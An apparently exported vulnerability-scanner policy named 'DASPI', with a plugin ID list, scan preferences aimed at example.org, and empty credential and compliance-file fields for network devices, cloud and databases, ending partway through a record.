5;77576;91461;11891;72007;1337029;86568;96905;20108;78444;22538;19695;15485;87733;69555;17723;91974;200012;39354;47580;48291;77703;99708;10266;63554;11686;48352;76165;11245;96607;20214;68939;90353;47861;14668;1337019;92414;22482;55901;11474;70885;103784;77581;60094;104665;89756;20910;91222;26014;69953;59530;73577;83475;34414;66545;65548;35221;31850;66234;90711;10763;69985;104386;21168;21214;69032;79251;62480;60017;58351;85540;31718;22877;34725;49044;103139;21689;24898;14626;46841;81492;35742;64827;57364;10124;59644;72907;44067;93845;79577;73490;77861;25148;84401;100718;22296;34475;58597;19696;56379;92413;12064;103514;83036;46860;99763;33942;58517;17161;19287;76257;104459;30202;78031;11675;38718;91781;95874;83349;41646;42964;90067;63644;44414;35703;200027;78556;34109;18084;21019;85254;15966;21221;10911;34197;21235;100955;11586;100682;58007;52544;15783;100784;104575;84008;24999;14683;51389;77158;76261;51774;63619;29308;69832;59117;57617;59113;54618;103569;20991;62581;49701;42878;10022;15611;73613;79826;62688;11363;18202;12278;11720;11577;59111;11906;70849;47898;69317;57769;11131;92492;58446;62925;31193;11058;10435;94162;10538;53848;35766;100321;49774;91004;18246;72704;10637;72487;85895;61381;104102;34119;76125;65764;84745;34096;84736;76527;99169;57027;11327;72141;59733;20320;53223;25147;19313;63346;10953;18375;19707;103303;101525;97525;20827;35073;35361;11931;67247;17714;62641;16271;83361;10735;10959;59788;56633;74251;90197;14682;35374;70744;79664;87675;20112;88644;44945;58603;14237;93817;87734;25251;77162;76462;20841;15651;44422;104049;84640;103987;56314; + +TARGET +https://www.example.org + +throttle_scan +yes + +listen_address +0.0.0.0 + +local_portscan.snmp +yes + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +local_portscan.netstat_ssh +yes + +max_checks +5 + +network_scanners.syn +yes + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +network_scanners.tcp +no + +ui.aws.region_category +Rest of the World + +name +DASPI + +description +DASPI default policy for internet-facing systems. + +whoami +daspi + +reverse_lookup +no + +optimize_test +yes + +log_whole_attack +yes + +portscan.ping +yes + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +unscanned_closed +no + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +network_scanners.udp +no + +checks_read_timeout +5 + +local_portscan.netstat_wmi +yes + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +4eda8969-138e-2e3c-b2ca-c158d96fd1eb28379e2a45568f53 + +stop_scan_on_hang +no + +visibility +private + +allow_post_scan_editing +yes + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +no + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +All ports + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 